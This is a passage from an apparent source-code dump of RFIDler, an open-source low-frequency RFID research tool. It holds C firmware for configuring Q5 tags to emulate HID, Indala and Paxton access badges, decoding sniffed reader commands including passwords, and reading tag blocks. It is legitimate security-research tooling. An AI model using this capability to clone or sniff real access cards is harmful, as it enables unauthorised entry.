FC\\r\\n\", GET_CONFIG(value, Q5_MASK_DATA_BIT_RATE, Q5_SHIFT_DATA_BIT_RATE) * 2 + 2);\n    UserMessage(\"           Use AOR: %s\\r\\n\", GET_CONFIG(value, Q5_MASK_USE_AOR, Q5_SHIFT_USE_AOR) ? \"True\" : \"False\");\n    UserMessage(\"           Use PWD: %s\\r\\n\", GET_CONFIG(value, Q5_MASK_USE_PWD, Q5_SHIFT_USE_PWD) ? \"True\" : \"False\");\n    UserMessageNum(\"       PSK Carrier: %d  = \", GET_CONFIG(value, Q5_MASK_PSK_CARRIER_FREQ, Q5_SHIFT_PSK_CARRIER_FREQ));\n    UserMessageNum(\"%d * FC\\r\\n\", PSK_Rates[GET_CONFIG(value, Q5_MASK_PSK_CARRIER_FREQ, Q5_SHIFT_PSK_CARRIER_FREQ)]);\n    UserMessage(\"      Inverse Data: %s\\r\\n\", GET_CONFIG(value, Q5_MASK_INVERSE_DATA, Q5_SHIFT_INVERSE_DATA) ? \"True\" : \"False\");\n    UserMessageNum(\"        Modulation: %d  = \", GET_CONFIG(value, Q5_MASK_MODULATION, Q5_SHIFT_MODULATION));\n    UserMessage(\"%s\\r\\n\", (BYTE *) Q5_Modulation[GET_CONFIG(value, Q5_MASK_MODULATION, Q5_SHIFT_MODULATION)]);\n    UserMessageNum(\"         Max Block: %d\\r\\n\", GET_CONFIG(value, Q5_MASK_MAX_BLOCK, Q5_SHIFT_MAX_BLOCK));\n    UserMessage(\"                ST: %s\\r\\n\", GET_CONFIG(value, Q5_MASK_ST, Q5_SHIFT_ST) ? \"True\" : \"False\");\n    \n    UserMessage(\"\\r\\n     PWD Block (7): %.8s    \", password);\n    printhexreadable(password, 4);\n    UserMessage(\"%s\", \"\\r\\n\");\n    return TRUE;\n}\n\n// create a config block based on current tag settings\nBOOL q5_create_config_block(BYTE *config)\n{\n    uint32_t    value= hextoulong(config);\n    BYTE        tmp;\n\n    // data rate\n    value= SET_CONFIG(value, Q5_MASK_DATA_BIT_RATE, Q5_SHIFT_DATA_BIT_RATE, (RFIDlerConfig.DataRate - 2) / 2);\n\n    // psk sub-carrier\n    if((tmp= RFIDlerConfig.DataRateSub0))\n    {\n        if(tmp == 2)\n            tmp= 0;\n        else\n            if (tmp == 4)\n                tmp= 1;\n            else\n                tmp= 2;\n        value= SET_CONFIG(value, Q5_MASK_PSK_CARRIER_FREQ, Q5_SHIFT_PSK_CARRIER_FREQ, tmp);\n    }\n\n    // modulation\n    if(RFIDlerConfig.Manchester && RFIDlerConfig.Modulation == MOD_MODE_ASK_OOK)\n        tmp= Q5_MOD_MANCHESTER;\n    else\n    {\n        if(RFIDlerConfig.BiPhase && RFIDlerConfig.Modulation == MOD_MODE_ASK_OOK)\n            tmp= Q5_MOD_BIPHASE;\n        else\n            switch(RFIDlerConfig.Modulation)\n            {\n                case MOD_MODE_ASK_OOK:\n                    tmp= Q5_MOD_DIRECT;\n                    break;\n                case MOD_MODE_FSK1:\n                    tmp= Q5_MOD_FSK1;\n                    break;\n                case MOD_MODE_FSK2:\n                    tmp= Q5_MOD_FSK2;\n                    break;\n                case MOD_MODE_PSK1:\n                    tmp= Q5_MOD_PSK1;\n                    break;\n                case MOD_MODE_PSK2:\n                    tmp= Q5_MOD_PSK2;\n                    break;\n                case MOD_MODE_PSK3:\n                    tmp= Q5_MOD_PSK3;\n                    break;\n                default:\n                    return FALSE;\n            }\n    }\n    value= SET_CONFIG(value, Q5_MASK_MODULATION, Q5_SHIFT_MODULATION, tmp);\n\n    // data blocks\n    value= SET_CONFIG(value, Q5_MASK_MAX_BLOCK, Q5_SHIFT_MAX_BLOCK, RFIDlerConfig.DataBits / Q5_BLOCKSIZE);\n\n    ulongtohex(config, value);\n\n    return TRUE;\n}\n\n// set a config block suitable for emulating\nBOOL q5_emulate_config_block(BYTE *config, BYTE target_tagtype)\n{\n    switch (target_tagtype)\n    {\n       case TAG_TYPE_ASK_RAW:\n       case TAG_TYPE_FSK1_RAW:\n       case TAG_TYPE_FSK2_RAW:\n       case TAG_TYPE_PSK1_RAW:\n       case TAG_TYPE_PSK2_RAW:\n       case TAG_TYPE_PSK3_RAW:\n           memcpy(config, Q5_DEFAULT_CONFIG_BLOCK, HEXDIGITS(Q5_BLOCKSIZE));\n           q5_create_config_block(config);\n           return TRUE;\n\n       case TAG_TYPE_AWID_26:\n       case TAG_TYPE_HID_26:\n            memcpy(config, Q5_HID_26_CONFIG_BLOCK, HEXDIGITS(Q5_BLOCKSIZE));\n            return TRUE;\n\n        case TAG_TYPE_FDXB:\n            memcpy(config, Q5_FDXB_CONFIG_BLOCK, HEXDIGITS(Q5_BLOCKSIZE));\n            return TRUE;\n\n        case TAG_TYPE_INDALA_64:\n            memcpy(config, Q5_INDALA_64_CONFIG_BLOCK, HEXDIGITS(Q5_BLOCKSIZE));\n            return TRUE;\n\n        case TAG_TYPE_INDALA_224:\n            memcpy(config, Q5_INDALA_224_CONFIG_BLOCK, HEXDIGITS(Q5_BLOCKSIZE));\n            return TRUE;\n\n        case TAG_TYPE_EM4X02:\n        case TAG_TYPE_Q5:\n        case TAG_TYPE_UNIQUE:\n        case TAG_TYPE_PAXTON:\n            memcpy(config, Q5_DEFAULT_CONFIG_BLOCK, HEXDIGITS(Q5_BLOCKSIZE));\n            return TRUE;\n\n        default:\n            return FALSE;\n    }\n}\n\n// decode externally sniffed PWM\nBOOL q5_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count)\n{\n    unsigned int    i;\n    BOOL            decoded= FALSE, sequence;\n    static BOOL     pwd= FALSE;\n    BYTE            tmp[18], out[71], *p; // max response from q5 is 70 bits\n    \n    i= 0;\n    while(i < count)\n    {\n        // we can't use generic_decode_pwm as Q5 commands may be all 0 or all 1\n        for(p= out, sequence= FALSE ; i < count ; ++i)\n            if(gaps[i] >= 100 && gaps[i] <= 512)\n            {\n                // make sure invalid data doesn't overrun buffer\n                if(p - out == sizeof(out) - 2)\n                    break;\n                \n                if(pulses[i] <= 512)\n                {\n                    if(approx(pulses[i], 128, 20))\n                        *(p++)= '0';\n                    else\n                        *(p++)= '1';\n                    sequence= TRUE;\n                }\n                else\n                {\n                    ++i;\n                    break;\n                }\n            }\n        *p= '\\0';\n        \n        if(sequence)\n        {\n            // there are only 7 message sizes, so decode accordingly\n            switch(strlen(out))\n            {\n                // GET Trace Data (UID)) or RESET\n                case 2:\n                    if(memcmp(out, Q5_GET_TRACE_DATA, 2) == 0)\n                        UserMessage(\"\\r\\n%s, GET_TRACE_DATA\", out);\n                    else\n                        if(memcmp(out, Q5_SOFT_RESET, 2) == 0)\n                            UserMessage(\"\\r\\n%s, RESET\", out);\n                        else\n                            UserMessage(\"\\r\\n%s, ?INVALID?\", out); \n                    break;\n                \n                // modulation defeat\n                case 5:\n                    if(memcmp(out, Q5_MODULATION_DEFEAT, 5) == 0)\n                        UserMessage(\"\\r\\n%s, MODULATION_DEFEAT\", out);\n                    else\n                        UserMessage(\"\\r\\n%s, ?INVALID?\", out); \n                    break;\n                    \n                // read\n                case 6:\n                    if(memcmp(out, Q5_DIRECT_ACCESS, 2) == 0)\n                        UserMessage(\"\\r\\n%s, DIRECT_ACCESS:\", out);\n                    else\n                    {\n                        UserMessage(\"\\r\\n%s, ?INVALID?\", out); \n                        break;\n                    }\n                    // PWD mode (should be 0))\n                    UserMessage(\"%0.1s:\", out + 2);\n                    // ADDRESS\n                    binstringtohex(tmp, out + 3);\n                    UserMessage(\"%0.2s\", tmp);\n                    pwd= FALSE;\n                    break;\n                    \n                // login (AOR followed by PWD)\n                case 34:\n                    if(memcmp(out, Q5_AOR, 2) == 0)\n                        UserMessage(\"\\r\\n%s, AOR:\", out);\n                    else\n                    {\n                        UserMessage(\"\\r\\n%s, ?INVALID?\", out); \n                        break;\n                    }\n                    // PWD\n                    binstringtohex(tmp, out + 2);\n                    UserMessage(\"%0.8s\", tmp);\n                    pwd= TRUE;\n                    break;\n                \n                // PWD read/ STD write\n                // note the only way to tell these apart is by knowing we are in PWD mode\n                case 38:\n                    if(pwd && memcmp(out, Q5_DIRECT_ACCESS, 2) == 0)\n                    {\n                        UserMessage(\"\\r\\n%s, PWD_DIRECT_ACCESS:\", out);\n                        // PWD\n                        binstringtohex(tmp, out + 2);\n                        UserMessage(\"%0.8s:\", tmp);\n                        // Lock BIT\n                        UserMessage(\"%0.1s:\", out + 34);\n                        // ADDRESS\n                        binstringtohex(tmp, out + 35);\n                        UserMessage(\"%0.1s\", tmp);\n                        break;\n                    }\n                    \n                    if(!pwd && memcmp(out, Q5_WRITE_P0, 2) == 0)\n                        UserMessage(\"\\r\\n%s, WRITE_P0:\", out);\n                    else\n                    {\n                        UserMessage(\"\\r\\n%s, ?INVALID?\", out); \n                        break;\n                    }\n                    // Lock BIT\n                    UserMessage(\"%0.1s:\", out + 2);\n                    // DATA\n                    binstringtohex(tmp, out + 3);\n                    UserMessage(\"%0.8s:\", tmp);\n                    // ADDRESS\n                    binstringtohex(tmp, out + 35);\n                    UserMessage(\"%0.1s\", tmp);\n                    break;\n                    \n                // PWD write\n                case 70:\n                    if(memcmp(out, Q5_WRITE_P0, 2) == 0)\n                        UserMessage(\"\\r\\n%s, PWD_WRITE_P0:\", out);\n                    else\n                    {\n                        UserMessage(\"\\r\\n%s, ?INVALID?\", out); \n                        break;\n                    }\n                    // PWD\n                    binstringtohex(tmp, out + 2);\n                    UserMessage(\"%0.8s:\", tmp);\n                    // Lock BIT\n                    UserMessage(\"%0.1s:\", out + 34);\n                    // DATA\n                    binstringtohex(tmp, out + 35);\n                    UserMessage(\"%0.8s:\", tmp);\n                    // ADDRESS\n                    binstringtohex(tmp, out + 67);\n                    UserMessage(\"%0.1s\", tmp);\n                    pwd= TRUE;\n                    break;\n                    \n                default:\n                    UserMessage(\"\\r\\n%s, ?INVALID?\", out);\n                    break;\n            }\n            decoded= TRUE;\n        }\n    }\n    \n    UserMessage(\"%s\", \"\\r\\n\");\n    \n    return decoded;\n}\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/read.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include \"HardwareProfile.h\"\n#include \"em.h\"\n#include \"rfidler.h\"\n#include \"read.h\"\n#include \"hitag.h\"\n#include \"q5.h\"\n#include \"t55x7.h\"\n#include \"comms.h\"\n\n// read from start to end blocks. data will need to be large enough\n// to hold all blocks.\nBOOL read_tag(BYTE *data, unsigned int startblock, unsigned int endblock)\n{\n    unsigned int i, p= 0;\n\n    for(i= startblock; i <= endblock ; ++i, ++p)\n    {\n        switch(RFIDlerConfig.TagType)\n        {\n            case TAG_TYPE_EM4X05:\n                if(!em4x05_read_word(data + p * HEXDIGITS(RFIDlerConfig.BlockSize), (BYTE) i))\n                    return FALSE;\n                break;\n                \n            case TAG_TYPE_HITAG1:\n                if (!hitag1_read_page(data + p * HEXDIGITS(RFIDlerConfig.BlockSize), (BYTE) i))\n                    return FALSE;\n                break;\n\n            case TAG_TYPE_HITAG2:\n                if (!hitag2_read_page(data + p * HEXDIGITS(RFIDlerConfig.BlockSize), (BYTE) i))\n                    return FALSE;\n                break;\n\n            case TAG_TYPE_Q5:\n                if(!q5_read_block(data + p * HEXDIGITS(RFIDlerConfig.BlockSize), (BYTE) i))\n                    return FALSE;\n                break;\n\n            case TAG_TYPE_T55X7:\n                if(!t55x7_read_block(data + p * HEXDIGITS(RFIDlerConfig.BlockSize), (BYTE) i))\n                    return FALSE;\n                break;\n\n            default:\n                return FALSE;\n        }\n    }\n    return TRUE;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/rwd.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n// bad stuff happens if this gets optimised!\n#pragma GCC optimize(\"O0\")\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"rwd.h\"\n#include \"util.h\"\n\n// set default parameters for RWD PWM commands\nvoid rwd_set_pwm(unsigned long fc, unsigned long sleep, unsigned int wake, unsigned int pw0, unsigned int pw1, unsigned int gap, unsigned int wait_txrx, unsigned int wait_rxtx)\n{\n    RFIDlerConfig.FrameClock= fc;\n    RFIDlerConfig.RWD_Sleep_Period= sleep;\n    RFIDlerConfig.RWD_Wake_Period= wake;\n    RFIDlerConfig.RWD_Zero_Period= pw0;\n    RFIDlerConfig.RWD_One_Period= pw1;\n    RFIDlerConfig.RWD_Gap_Period= gap;\n    RFIDlerConfig.RWD_Wait_Switch_TX_RX= wait_txrx;\n    RFIDlerConfig.RWD_Wait_Switch_RX_TX= wait_rxtx;\n}\n\n// this routine accepts either binary arrays or binary strings\nBOOL rwd_send(unsigned char *command, unsigned int length, BOOL reset, BOOL block, BYTE initial_state, unsigned int fc, unsigned int sleep, unsigned int wake, unsigned int pw0, unsigned int pw1, unsigned int gap, unsigned int post_wait)\n{\n    unsigned int i;\n\n    RWD_Fc= fc;\n\n    // convert FCs to OCM ticks\n    RWD_Sleep_Period= sleep * 2;\n    RWD_Wake_Period= wake * 2;\n    RWD_Zero_Period= pw0 * 2;\n    RWD_One_Period= pw1 * 2;\n    RWD_Gap_Period= gap * 2;\n    RWD_Post_Wait= post_wait * 2;\n    \n    if(!RWD_Zero_Period || !RWD_One_Period || !RWD_Gap_Period)\n        return FALSE;\n\n    // convert ascii string to bin if required\n    if(command[0] == '0' || command[0] == '1')\n    {\n        if(!binstringtobinarray(RWD_Command_Buff, command))\n            return FALSE;\n    }\n    else\n        memcpy(RWD_Command_Buff, command, length);\n    \n    RWD_Command_Buff[length]= '*';\n    RWD_Command_ThisBit= RWD_Command_Buff;\n\n    // start clock and wait for TAG to wake if not already running\n    // this is needed in case a non-resetting RWD command is issued before any other action has woken tag\n    if(mGetLED_Clock() == mLED_OFF)\n    {\n        RWD_State= RWD_STATE_INACTIVE;\n        InitHWReaderClock(OC_TOGGLE_PULSE, RWD_Fc / 2L, RWD_Fc, RWD_State);\n        if(!reset)\n            Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);\n    }\n\n    if(reset)\n        RWD_State= RWD_STATE_GO_TO_SLEEP;\n    else\n        RWD_State= initial_state;\n\n    // see if ISR has flagged RWD command finished\n   if(block)\n       while(RWD_State != RWD_STATE_ACTIVE)\n           ;\n\n    return TRUE;\n}\n\nvoid rwd_test(BYTE *pass)\n{\n    switch (RFIDlerConfig.TagType)\n    {\n        case TAG_TYPE_Q5:\n            q5_rwd_test(pass);\n            break;\n\n        case TAG_TYPE_HITAG2:\n            hitag2_test_rwd(1, 10, 18, 22, 26, 32, pass);\n            break;\n\n        case TAG_TYPE_T55X7:\n            t55x7_rwd_test(pass);\n            break;\n\n        default:\n            break;\n    }\n}\n\n// end optimisation\n#pragma GCC reset_options\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/sc.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                         